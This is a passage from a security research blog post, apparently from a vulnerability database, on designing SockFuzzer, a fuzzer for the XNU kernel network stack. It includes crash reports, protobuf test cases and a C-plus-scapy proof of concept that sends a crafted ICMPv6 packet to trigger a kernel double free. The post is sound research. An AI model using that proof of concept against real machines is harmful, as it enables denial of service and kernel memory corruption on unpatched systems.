fashion. Each has its tradeoffs. The top-down way to cover this code is to improve the existing grammar or C++ code to make it possible or more likely. The bottom-up way is to modify the code in question. For example, we could replace switch (opt) with something like switch (global_fuzzed_data->ConsumeRandomEnum(valid_enums). This bottom-up approach introduces unsoundness, as maybe these enums could never have been selected at this point. But this approach has often led to interesting-looking crashes that encouraged me to revert the change and proceed with the more expensive top-down implementation. When it\u2019s one researcher working against potentially hundreds of thousands of lines, you need tricks to prioritize your work. By placing many cheap bets, you can revert later for free and focus on the most fruitful areas.\n\nImproving soundness is the other side of the coin here. I\u2019ve just mentioned reverting unsound changes and moving those changes out of the target code and into the grammar. But our fake objects are also simple models for how their real implementations behave. If those models are too simple or directly inaccurate, we may either miss bugs or introduce them. I\u2019m comfortable missing some bugs as I think these simple fakes enable better coverage, and it\u2019s a net win. But sometimes, I\u2019ll observe a crash or failure to cover some code because of a faulty model. So improvements can often come in the form of making these fakes better.\n\nAll in all, there is plenty of work that can be done at any given point. Fuzzing isn\u2019t an all or nothing one-shot endeavor for large targets like this. This is a continuous process, and as time goes on, easy gains become harder to achieve as most bugs detectable with this approach are found, and eventually, there comes a natural stopping point. But despite working on this project for several months, it\u2019s remarkably far from the finish line despite producing several useful bug reports. The cool thing about fuzzing in this way is that it is a bit like excavating a fossil. Each target is different; we make small changes to the fuzzer, tapping away at the target with a chisel each day and letting our coverage metrics, not our biases, reveal the path forward.\n\n# Packet Delivery\n\nI\u2019d like to cover one example to demonstrate the value of the \u201cbottom-up\u201d unsound modification, as in some cases, the unsound modification is dramatically cheaper than the grammar-based one. Disabling hash checks is a well-known fuzzer-only modification when fuzzer-authors know that checksums could be trivially generated by hand. But it can also be applied in other places, such as packet delivery.\n\nWhen an mbuf containing a TCP packet arrives, it is handled by tcp_input. In order for almost anything meaningful to occur with this packet, it must be matched by IP address and port to an existing process control block (PCB) for that connection, as seen below.\n\nvoid\n\ntcp_input(struct mbuf *m, int off0)\n\n{\n\n// ...\n\nif (isipv6) {\n\ninp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport,\n\n&ip6->ip6_dst, th->th_dport, 1,\n\nm->m_pkthdr.rcvif);\n\n} else\n\n#endif /* INET6 */\n\ninp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport,\n\nip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif); \n \n--- \n \nHere\u2019s the IPv4 lookup code. Note that faddr, fport_arg, laddr, and lport_arg are all taken directly from the packet and are checked against the list of PCBs, one at a time. This means that we must guess two 4-byte integers and two 2-byte shorts to match the packet to the relevant PCB. Even coverage-guided fuzzing is going to have a hard time guessing its way through these comparisons. While eventually a match will be found, we can radically improve the odds of covering meaningful code by just flipping a coin instead of doing the comparisons. This change is extremely easy to make, as we can fetch a random boolean from the fuzzer at runtime. Looking up existing PCBs and fixing up the IP/TCP headers before sending the packets is a sounder solution, but in my testing this change didn\u2019t introduce any regressions. Now when a vulnerability is discovered, it\u2019s just a matter of fixing up headers to match packets to the appropriate PCB. That\u2019s light work for a vulnerability researcher looking for a remote memory corruption bug.\n\n/*\n\n* Lookup PCB in hash list.\n\n*/\n\nstruct inpcb *\n\nin_pcblookup_hash(struct inpcbinfo *pcbinfo, struct in_addr faddr,\n\nu_int fport_arg, struct in_addr laddr, u_int lport_arg, int wildcard,\n\nstruct ifnet *ifp)\n\n{\n\n// ...\n\nhead = &pcbinfo->ipi_hashbase[INP_PCBHASH(faddr.s_addr, lport, fport,\n\npcbinfo->ipi_hashmask)];\n\nLIST_FOREACH(inp, head, inp_hash) {\n\n- if (inp->inp_faddr.s_addr == faddr.s_addr &&\n\n- inp->inp_laddr.s_addr == laddr.s_addr &&\n\n- inp->inp_fport == fport &&\n\n- inp->inp_lport == lport) {\n\n+ if (!get_fuzzed_bool()) {\n\nif (in_pcb_checkstate(inp, WNT_ACQUIRE, 0) !=\n\nWNT_STOPUSING) {\n\nlck_rw_done(pcbinfo->ipi_lock);\n\nreturn inp; \n \n--- \n \n \nAstute readers may have noticed that the PCBs are fetched from a hash table, so it\u2019s not enough just to replace the check. The 4 values used in the linear search are used to calculate a PCB hash, so we have to make sure all PCBs share a single bucket, as seen in the diff below. The real kernel shouldn\u2019t do this as lookups become O(n), but we only create a few sockets, so it\u2019s acceptable.\n\ndiff \\--git a/bsd/netinet/in_pcb.h b/bsd/netinet/in_pcb.h\n\nindex a5ec42ab..37f6ee50 100644\n\n\\--- a/bsd/netinet/in_pcb.h\n\n+++ b/bsd/netinet/in_pcb.h\n\n@@ -611,10 +611,9 @@ struct inpcbinfo {\n\nu_int32_t ipi_flags;\n\n};\n\n-#define INP_PCBHASH(faddr, lport, fport, mask) \\\n\n- (((faddr) ^ ((faddr) >> 16) ^ ntohs((lport) ^ (fport))) & (mask))\n\n-#define INP_PCBPORTHASH(lport, mask) \\\n\n- (ntohs((lport)) & (mask))\n\n+// nedwill: let all pcbs share the same hash\n\n+#define INP_PCBHASH(faddr, lport, fport, mask) (0)\n\n+#define INP_PCBPORTHASH(lport, mask) (0)\n\n#define INP_IS_FLOW_CONTROLLED(_inp_) \\\n\n((_inp_)->inp_flags & INP_FLOW_CONTROLLED) \n \n--- \n \nChecking Our Work: Reproducing the Sample Bugs\n\nWith most of the necessary supporting code implemented, we can fuzz for a while without hitting any assertions due to unimplemented stubbed functions. At this stage, I reverted the fixes for the two inspiration bugs I mentioned at the beginning of this article. Here\u2019s what we see shortly after we run the fuzzer with those fixes reverted: \n\n\n==1633983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00029f474 at pc 0x00000049fcb7 bp 0x7ffcddc88590 sp 0x7ffcddc87d58\n\nWRITE of size 20 at 0x61d00029f474 thread T0\n\n#0 0x49fcb6 in __asan_memmove /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:30:3\n\n#1 0x7ff64bd83bd9 in __asan_bcopy fuzz/san.c:37:3\n\n#2 0x7ff64ba9e62f in icmp_error bsd/netinet/ip_icmp.c:362:2\n\n#3 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#4 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#5 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#6 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#7 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9\n\n0x61d00029f474 is located 12 bytes to the left of 2048-byte region [0x61d00029f480,0x61d00029fc80)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7ff64bd82b20 in mbuf_create fuzz/zalloc.c:157:45\n\n#2 0x7ff64bd8319e in mcache_alloc fuzz/zalloc.c:187:12\n\n#3 0x7ff64b69ae84 in m_getcl bsd/kern/uipc_mbuf.c:3962:6\n\n#4 0x7ff64ba9e15c in icmp_error bsd/netinet/ip_icmp.c:296:7\n\n#5 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#6 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#7 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#8 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#9 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9 \n \n--- \n \nWhen we inspect the test case, we see that a single raw IPv4 packet was generated to trigger this bug. This is to be expected, as the bug doesn\u2019t require an existing connection, and looking at the stack, we can see that the test case triggered the bug in the IPv4-specific ip_input path.\n\ncommands {\n\nip_input {\n\nraw_ip4: \"M\\001\\000I\\001\\000\\000\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\"\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nIf we fix that issue and fuzz a bit longer, we soon see another crash, this time in the MPTCP stack. This is Ian\u2019s MPTCP vulnerability. The ASAN report looks strange though. Why is it crashing during garbage collection in mptcp_session_destroy? The original vulnerability was an OOB write, but ASAN couldn\u2019t catch it because it corrupted memory within a struct. This is a well-known shortcoming of ASAN and similar mitigations, importantly the upcoming MTE. This means we don\u2019t catch the bug until later, when a randomly corrupted pointer is accessed.\n\n==1640571==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x6190000079dc in thread T0\n\n#0 0x4a0094 in free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7fbdfc7a16b0 in _FREE fuzz/zalloc.c:293:36\n\n#2 0x7fbdfc52b624 in mptcp_session_destroy bsd/netinet/mptcp_subr.c:742:3\n\n#3 0x7fbdfc50c419 in mptcp_gc bsd/netinet/mptcp_subr.c:4615:3\n\n#4 0x7fbdfc4ee052 in mp_timeout bsd/netinet/mp_pcb.c:118:16\n\n#5 0x7fbdfc79b232 in clear_all fuzz/backend.c:83:3\n\n#6 0x4dfd5c in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:1010:3\n\n0x6190000079dc is located 348 bytes inside of 920-byte region [0x619000007880,0x619000007c18)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7fbdfc7a03d4 in zalloc fuzz/zalloc.c:37:10\n\n#2 0x7fbdfc4ee710 in mp_pcballoc bsd/netinet/mp_pcb.c:222:8\n\n#3 0x7fbdfc53cf8a in mptcp_attach bsd/netinet/mptcp_usrreq.c:211:15\n\n#4 0x7fbdfc53699e in mptcp_usr_attach bsd/netinet/mptcp_usrreq.c:128:10\n\n#5 0x7fbdfc0e1647 in socreate_internal bsd/kern/uipc_socket.c:784:10\n\n#6 0x7fbdfc0e23a4 in socreate bsd/kern/uipc_socket.c:871:9\n\n#7 0x7fbdfc118695 in socket_common bsd/kern/uipc_syscalls.c:266:11\n\n#8 0x7fbdfc1182d1 in socket bsd/kern/uipc_syscalls.c:214:9\n\n#9 0x7fbdfc79a26e in socket_wrapper fuzz/syscall_wrappers.c:371:10\n\n#10 0x4dd275 in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nHere\u2019s the protobuf input for the crashing testcase:\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_AUTHENTICATED\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ncommands {\n\nioctl_real {\n\nsiocsifflags {\n\nifr_name: LO0\n\nflags: IFF_LINK1\n\n}\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ndata_provider: \"\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\" \n \n--- \n \nHmm, that\u2019s quite large and hard to follow. Is the bug really that complicated? We can use libFuzzer\u2019s crash minimization feature to find out. Protobuf-based test cases simplify nicely because even large test cases are already structured, so we can randomly edit and remove nodes from the message. After about a minute of automated minimization, we end up with the test shown below.\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_1\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"bugmbuf_debutoeloListen_dedeloListen_dedebuloListete_debugmbuf_debutoeloListen_dedeloListen_dedebuloListeListen_dedebuloListe_dtrte\" # string length 131\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nThis is a lot easier to read! It appears that SockFuzzer managed to open a socket from the AF_MULTIPATH domain and called connectx on it with a sockaddr using an unexpected sa_family, in this case AF_MULTIPATH. Then the large sa_data field was used to overwrite memory. You can see some artifacts of heuristics used by the fuzzer to guess strings as \u201clisten\u201d and \u201cmbuf\u201d appear in the input. This testcase could be further simplified by modifying the sa_data to a repeated character, but I left it as is so you can see exactly what it\u2019s like to work with the output of this fuzzer.\n\nIn my experience, the protobuf-formatted syscalls and packet descriptions were highly useful for reproducing crashes and tended to work on the first attempt. I didn\u2019t have an excellent setup for debugging on-device, so I tried to lean on the fuzzing framework as much as I could to understand issues before proceeding with the expensive process of reproducing them.\n\nIn [my ](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>)[previous post](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) describing the \u201cSockPuppet\u201d vulnerability, I walked through one of the newly discovered vulnerabilities, from protobuf to exploit. I\u2019d like to share another original protobuf bug report for a remotely-triggered vulnerability I reported [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>).\n\ncommands {\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_RAW\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_RCVBUF\n\nval: \"\\021\\000\\000\\000\"\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: IPPROTO_IPV6\n\nname: IP_FW_ZERO\n\nval: \"\\377\\377\\377\\377\"\n\n}\n\n}\n\ncommands {\n\nip_input {\n\ntcp6_packet {\n\nip6_hdr {\n\nip6_hdrctl {\n\nip6_un1_flow: 0\n\nip6_un1_plen: 0\n\nip6_un1_nxt: IPPROTO_ICMPV6\n\nip6_un1_hlim: 0\n\n}\n\nip6_src: IN6_ADDR_LOOPBACK\n\nip6_dst: IN6_ADDR_ANY\n\n}\n\ntcp_hdr {\n\nth_sport: PORT_2\n\nth_dport: PORT_1\n\nth_seq: SEQ_1\n\nth_ack: SEQ_1\n\nth_off: 0\n\nth_win: 0\n\nth_sum: 0\n\nth_urp: 0\n\nis_pure_syn: false\n\nis_pure_ack: false\n\n}\n\ndata: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377q\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n\n}\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \nThis automatically minimized test case requires some human translation to a report that\u2019s actionable by developers who don\u2019t have access to our fuzzing framework. The test creates a socket and sets some options before delivering a crafted ICMPv6 packet. You can see how the packet grammar we specified comes in handy. I started by transcribing the first three syscall messages directly by writing the following C program.\n\n#include <sys/socket.h>\n\n#define __APPLE_USE_RFC_3542\n\n#include <netinet/in.h>\n\n#include <stdio.h>\n\n#include <unistd.h>\n\nint main() {\n\nint fd = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nif (fd < 0) {\n\nprintf(\"failed\\n\");\n\nreturn 0;\n\n}\n\nint res;\n\n// This is not needed to cause a crash on macOS 10.14.6, but you can\n\n// try setting this option if you can't reproduce the issue.\n\n// int space = 1;\n\n// res = setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &space, sizeof(space));\n\n// printf(\"res1: %d\\n\", res);\n\nint enable = 1;\n\nres = setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPATHMTU, &enable, sizeof(enable));\n\nprintf(\"res2: %d\\n\", res);\n\n// Keep the socket open without terminating.\n\nwhile (1) {\n\nsleep(5);\n\n}\n\nclose(fd);\n\nreturn 0;\n\n} \n \n--- \n \nWith the socket open, it\u2019s now a matter of sending a special ICMPv6 packet to trigger the bug. Using the original crash as a guide, I reviewed the code around the crashing instruction to understand which parts of the input were relevant. I discovered that sending a \u201cpacket too big\u201d notification would reach the buggy code, so I used the [scapy](<https://scapy.net/>) library for Python to send the buggy packet locally. My kernel panicked, confirming the double free vulnerability.\n\nfrom scapy.all import sr1, IPv6, ICMPv6PacketTooBig, raw\n\nouter = IPv6(dst=\"::1\") / ICMPv6PacketTooBig() / (\"\\x41\"*40)\n\nprint(raw(outer).hex())\n\np = sr1(outer)\n\nif p:\n\np.show() \n \n--- \n \nCreating a working PoC from the crashing protobuf input took about an hour, thanks to the straightforward mapping from grammar to syscalls/network input and the utility of being able to debug the local crashing \u201ckernel\u201d using gdb.\n\nDrawbacks\n\nAny fuzzing project of this size will require design decisions that have some tradeoffs. The most obvious issue is the inability to detect race conditions. Threading bugs can be found with fuzzing but are still best left to static analysis and manual review as fuzzers can\u2019t currently deal with the state space of interleaving threads. Maybe this will change in the future, but today it\u2019s an issue. I accepted this problem and removed threading completely from the fuzzer; some bugs were missed by this, such as a race condition [in the bind syscall](<https://youtu.be/8cOx7vfszZU?t=366>).\n\nAnother issue lies in the fact that by replacing so much functionality by hand, it\u2019s hard to extend the fuzzer trivially to support additional attack surfaces. This is evidenced by another issue I missed in [packet filtering](<https://twitter.com/WangTielei/status/1246376070367965184>). I don\u2019t support VFS at the moment, so I can\u2019t access the bpf device. A syzkaller-like project would have less trouble with supporting this code since VFS would already be working. I made an explicit decision to build a simple tool that works very effectively and meticulously, but this can mean missing some low hanging fruit due to the effort involved.\n\nPer-test case determinism is an issue that I\u2019ve solved only partially. If test cases aren\u2019t deterministic, libFuzzer becomes less efficient as it thinks some tests are finding new coverage when they really depend on one that was run previously. To mitigate this problem, I track open file descriptors manually and run all of the garbage collection thread functions after each test case. Unfortunately, there are many ioctls that change state in the background. It\u2019s hard to keep track of them to clean up properly but they are important enough that it\u2019s not worth disabling them just to improve determinism. If I were working on a long-term well-resourced overhaul of the XNU network stack, I would probably make sure there\u2019s a way to cleanly tear down the whole stack to prevent this problem.\n\nPerhaps the largest caveat of this project is its reliance on source code. Without the efficiency and productivity losses that come with binary-only research, I can study the problem more closely to the source. But I humbly admit that this approach ignores many targets and doesn\u2019t necessarily match real attackers\u2019 workflows. Real attackers take the shortest path they can to find an exploitable vulnerability, and often that path is through bugs found via binary-based fuzzing or reverse engineering and auditing. I intend to discover some of the best practices for fuzzing with the source and then migrate this approach to work with binaries. [Binary instrumentation](<https://github.com/googleprojectzero/TinyInst>) can assist in coverage guided fuzzing, but some of my tricks around substituting fake implementations or changing behavior to be more fuzz-friendly is a more significant burden when working with binaries. But I believe these are tractable problems, and I expect researchers can adapt some of these techniques to binary-only fuzzing efforts, even if there is additional overhead.\n\nOpen Sourcing and Future Work\n\nThis fuzzer is now open source on [GitHub](<https://github.com/googleprojectzero/SockFuzzer>). I invite you to study the code and improve it! I\u2019d like to continue the development of this fuzzer semi-publicly. Some modifications that yield new vulnerabilities may need to be embargoed until relevant patches go out. Still, I hope that I can be as transparent as possible in my research. By working publicly, it may be possible to bring the original XNU project and this fuzzer closer together by sharing the efforts. I\u2019m hoping the upstream developers can make use of this project to perform their own testing and perhaps make their own improvements to XNU to make this type of testing more accessible. There\u2019s plenty of remaining work to improve the existing grammar, add support for new subsystems, and deal with some high-level design improvements such as adding proper threading support.\n\nAn interesting property of the current fuzzer is that despite reaching coverage saturation on ClusterFuzz after many months, there is still reachable but uncovered code due to the enormous search space. This means that improvements in coverage-guided fuzzing could find new bugs. I\u2019d like to encourage teams who perform fuzzing engine research to use this project as a baseline. If you find a bug, you can take the credit for it! I simply hope you share your improvements with me and the rest of the community.\n\nConclusion\n\nModern kernel development has some catching up to do. XNU and Linux suffer from some process failures that lead to [shipping](<https://www.synacktiv.com/en/publications/return-of-the-ios-sandbox-escape-lightspeeds-back-in-the-race.html>) [security](<https://www.theguardian.com/technology/2019/aug/20/apple-reopens-security-flaw-ios-iphone>) [regressions](<https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=c6c9fee35dc27362b7bac34b2fc9f5b8ace2e22c>). Kernels, perhaps the most security-critical component of operating systems, are becoming increasingly fragile as memory corruption issues become easier to discover. Implementing better mitigations is half the battle; we need better kernel unit testing to make identifying and fixing (even non-security) bugs cheaper.\n\nSince my last post, Apple has increased the frequency of its open-source releases. This is great for end-user security. The more publicly that Apple can develop XNU, the more that external contributors like myself may have a chance to contribute fixes and improvements directly. Maintaining internal branches for upcoming product launches while keeping most development open has helped Chromium and Android security, and I believe XNU\u2019s development could follow this model. As software engineering grows as a field, our experience has shown us that open, shared, and continuous development has a real impact on software quality and stability by improving developer productivity. If you don\u2019t invest in CI, unit testing, security reviews, and fuzzing, attackers may do that for you - and users pay the cost whether they recognize it or not.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-22T00:00:00", "type": "googleprojectzero", "title": "\nDesigning sockfuzzer, a network syscall fuzzer for XNU\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-4407", "CVE-2019-8605"], "modified": "2021-04-22T00:00:00", "id": "GOOGLEPROJECTZERO:AE1504011977EE818F4F94D9A070275A", "href": "https://googleprojectzero.blogspot.com/2021/04/designing-sockfuzzer-network-syscall.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:20", "description": "Posted by Ned Williamson, 20% on Project Zero \n\n\n# Introduction\n\nI have a somewhat unique opportunity in this writeup to highlight my experience as an iOS research newcomer. Many high quality iOS kernel exploitation writeups have been published, but those often feature weaker initial primitives combined with lots of cleverness, so it\u2019s hard to tell which iOS internals were specific to the exploit and which are generic techniques.\n\n** \n**\n\nIn this post, we\u2019ll look at CVE-2019-8605, a vulnerability in the iOS kernel and macOS for five years and how to exploit it to achieve arbitrary kernel read/write. This issue affected XNU as early as 2013, and was reported by me to Apple on March 2019. It was then patched in iOS 12.3 in May 2019 and I [released](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806>) the complete details including the exploit for iOS for analysis, named \u201cSockPuppet,\u201d in July 2019. It was then discovered that this issue regressed in iOS 12.4 and was later patched in iOS 12.4.1 in late August 2019.\n\n** \n**\n\nThe primitive in SockPuppet is stronger than usual: it offers an arbitrary read and free with very little work. This makes it easier to see what a canonical iOS exploit looks like since we can skip over the usual work to set up strong initial primitives. I\u2019ll begin by describing how I found my bug, and then explain how I exploited it given only a background in Linux and Windows exploitation. If you\u2019re interested, I\u2019ve collaborated with LiveOverflow to make a video explaining this bug. You can watch it [here](<https://www.youtube.com/watch?v=YV3jewkUJ54>).\n\n# Bug Hunting\n\n## Why network fuzzing?\n\nOne technique for choosing fuzz targets is enumerating previous vulnerability reports for a given project, finding the bug locations in the source tree, and then picking up a component of the project that is self-contained and contains a diverse subset of the bugs. Then by creating a fuzzer which is fairly generic but can still reproduce the previous finds, you are likely to find new ones. When I started to work on my fuzzer, I used two bug reports to seed my research: an [mptcp_usr_connectx buffer overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) by Ian Beer of Google Project Zero and an [ICMP packet parsing buffer overflow](<https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407>) by Kevin Backhouse of Semmle. What made these perfect candidates was that they were critical security issues in completely different parts of the same subsystem: one in the network-related syscalls and one in parsing of remote packets. If I could make a fuzzer that would make random network-related syscalls and feed random packets into the IP layer, I might be able to reproduce these bugs and find new ones. Those past bugs were discovered using code auditing and static analysis, respectively. As someone who primarily uses fuzzing to find memory corruption vulnerabilities, these are highly useful artifacts for me to study, since they come from some of the best practitioners of auditing and static analysis in the industry. In case I failed to reproduce the bugs or find any new ones, it would at least be an educational project for me. Success would validate that my approach was at least as good as the approaches originally used to discover these bugs. Failure would be an example of a gap in my approach.\n\n** \n**\n\nThe first draft of the fuzzer went off without a hitch: it found Ian\u2019s and Kevin\u2019s bugs with actionable ASAN reports. Even better, for the ICMP buffer overflow it crashed exactly on the line that Ian described in his email to Kevin as described on Semmle\u2019s blog. When I saw how accurate and effective this was, I started to get really excited. Even better, my fuzzer went on to find a variant of the ICMP bug that I didn\u2019t see mentioned publicly, but was fortunately addressed in Apple\u2019s thorough patch for the vulnerability.\n\n## From Protobuf to PoC\n\nThe exact details of how the fuzzer works will be described in a future post, but some context is necessary to understand how this specific bug was found. At a high level, the fuzzer\u2019s design is a lot like that of [syzkaller](<https://github.com/google/syzkaller>). It uses a [protobuf-based grammar](<https://github.com/google/libprotobuf-mutator>) to encode network-related syscalls with the types of their arguments. On each fuzzer iteration, it does a sequence of random syscalls, interleaving (as a pseudo-syscall) the arrival of random packets at the [network layer](<https://en.wikipedia.org/wiki/Network_layer>).\n\n** \n**\n\nFor example, the syscall to open a socket is int socket(int domain, int type, int protocol). The protobuf message representing this syscall and its arguments is:\n\n** \n**\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n}\n\n 